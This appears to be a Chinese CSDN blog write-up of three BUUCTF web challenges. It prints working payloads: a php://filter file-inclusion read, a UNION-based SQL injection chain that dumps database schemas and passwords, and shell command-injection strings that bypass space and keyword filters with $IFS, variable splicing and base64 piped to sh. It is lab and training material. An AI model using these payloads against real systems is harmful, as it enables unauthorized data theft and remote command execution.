BUUCTF刷题[Secret File]&[LoveSQL]&[Ping Ping Ping]

本文详细介绍了三个CTF挑战的解决过程,包括文件包含漏洞利用、SQL注入攻击和命令注入。在SecretFile中,通过分析源码和使用php://filter伪协议获取flag。LoveSQL部分展示了如何通过SQL注入获取数据库信息,最终找到flag。而在PingPingPing中,利用bash命令注入的变种绕过限制获取flag。这些案例揭示了Web安全中常见的漏洞利用技巧。
摘要由CSDN通过智能技术生成

[极客大挑战 2019]Secret File

image-20211212002054426

你想知道密码吗,我不想知道,所以我打开了f12

image-20211212002246964

发现有个事件,而这个事件后面就紧接着一串英文"oh you found me",那就没问题了,直接打开它,发现我们被跳转到了另外一个页面Archive_room.php

image-20211212002409994

这个界面有个按钮secret,点进去他说里面没有东西,叫我回去仔细再看一下,而这里我观看Archive_room.php这个页面的源码的时候明显是点击secret按钮后跳转到action.php页面去的,但是他却直接跳转到了end.php,这说明在action.php页面存在代码将我们自动跳转到end.php,而且是时间很短的那种

所以为了在action.php这个页面停留,我采取了使用burp抓包的方式,将页面停留在action.php

image-20211212003515048

抓包访问action.php页面他提示我们secr3t.php,那接下来就继续访问secr3t.php这个页面

image-20211212003634851[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-C9tXLP88-1639245874151)(C:/Users/86185/AppData/Roaming/Typora/typora-user-images/image-20211212004237722.png)]

然后他说flag放在了flag.php里面,那继续访问flag.php

image-20211212003742983

说明这是最后一个页面了,剩下的就是利用某种方法来找到藏在这个页面的flag

首先我们要知道一个知识,就是php文件中可以写前端代码比如说HTML,这种一般是显示出来的,也有些php后端代码,而这个php代码默认是不会显示的,除非你用某种函数,而他提示说flag就在这个页面说明,flag就藏在php代码里面

现在来审计secr3t.php的代码

<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>
</html>

这里存在一个文件包含include函数,而其中的参数file变量是我们认为可以控制的,这里禁用掉了切换目录的../tp字符input伪协议,以及data伪协议,然后我们又要知道flag.php的完整源代码,就想到了php://filter伪协议进行当前目录下任意文件读取

所以构造出的payload如下

~secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php

image-20211212004952095

进行base64解码然后发现了flag

image-20211212005034524

[极客大挑战 2019]LoveSQL

image-20211212005409627

flag放在那个地方?先寻找注入点把

image-20211212005433944

很显然可以注入,还是加上#号后正常回显,然后尝试使用order by爆出列名

1'order by 4%23 //回显Unknown column '4' in 'order clause'
1‘order by 3 %23   //回显正常
说明当前查询的表为三列

接下来使用union select看是否有回显点

image-20211212005835899

有回显点,直接进行联合注入就行了

因为最开始他说他把flag放在了那个地方,所以我觉得很有必要将所有数据库的名字都注入一遍,防止flag不在当前数据库的情况
当前数据库名:
-1'union select 1,2,database()%23   //查出当前数据库为'geek'


所有数据库名:
-1'union select 1,2,group_concat(schema_name) from information_schema.schemata %23                           //查出information_schema,mysql,performance_schema,test,geek,很显然还是我多虑了
    
    
geek数据库中的所有表:
-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'%23 
//查出表为geekuser,l0ve1ysq1,以我的经验,flag必定在l0ve1ysq1里面


l0ve1ysq1表中所有字段:
-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'%23  //结果为id,username,password,那应该不是在password里面就是在另外一张表里面了
    
    
password列中的所有值:
-1'union select 1,2,group_concat(password) from geek.l0ve1ysq1%23    
//结果wo_tai_nan_le,glzjin_wants_a_girlfriend,biao_ge_dddd_hm,linux_chuang_shi_ren,a_rua_rain,yan_shi_fu_de_mao_bo_he,cl4y,di_2_kuai_fu_ji,di_3_kuai_fu_ji,di_4_kuai_fu_ji,di_5_kuai_fu_ji,di_6_kuai_fu_ji,di_7_kuai_fu_ji,di_8_kuai_fu_ji,Syc_san_da_hacker,flag{95322f13-6777-421d-a631-6505096ba78c}
这不是有了吗

image-20211212011003900

[GXYCTF2019]Ping Ping Ping

一听题目感觉就跟ping相关,或者是rce

image-20211212011300936

果然如此,他给出了个提示/?ip=,这很明显就是一个get传参,我们要上传一个ip的参数通过get的方式

然后构造payload

1;ls

image-20211212011452191

返现网站根目录有flag.php,然后我访问它发现这个页面没有任何回显,那毫无疑问这个flag就藏在这个flag.php里面

1;cat flag.php

image-20211212011623952

不能使用空格?然后我试着用%09(TAB键的URL编码)

image-20211212011718496

fxck my symbol?看来数字也不能使用了,一般绕过空格的方法又一下

<<>%20(space)%09(tab)$IFS$9${IFS}$IFS{cat,flag}

其中$IFS不含数字,所以构造payload如下

1;cat$IFSflag

image-20211212012402388

结果他又绕过了flag,然后我尝试了各种单引号,问号通配符都被过滤掉了,所以我就换一条思路,查看index.php的源码,看是否有什么

image-20211212013710348

/?ip=
PING 1 (0.0.0.1): 56 data bytes
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "
";
  print_r($a);
}

?>
if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }

有了这串源码那就好办了,直接把正则匹配表达式放在网站上一解析

image-20211212014009739

所以直接通过变量拼接的方式进行构造flag.php这一关键字,所以构造出的payload如下

/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

image-20211212020106355

  • 当然也可以使用base64绕过,虽然bash被过滤掉了,但是linux还有sh可以用
/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

image-20211212020231103

  • 还有一种,我个人感觉是最简单的一种

    1;cat$IFS$9`ls`
    

    image-20211212020345602

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Pysnow

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值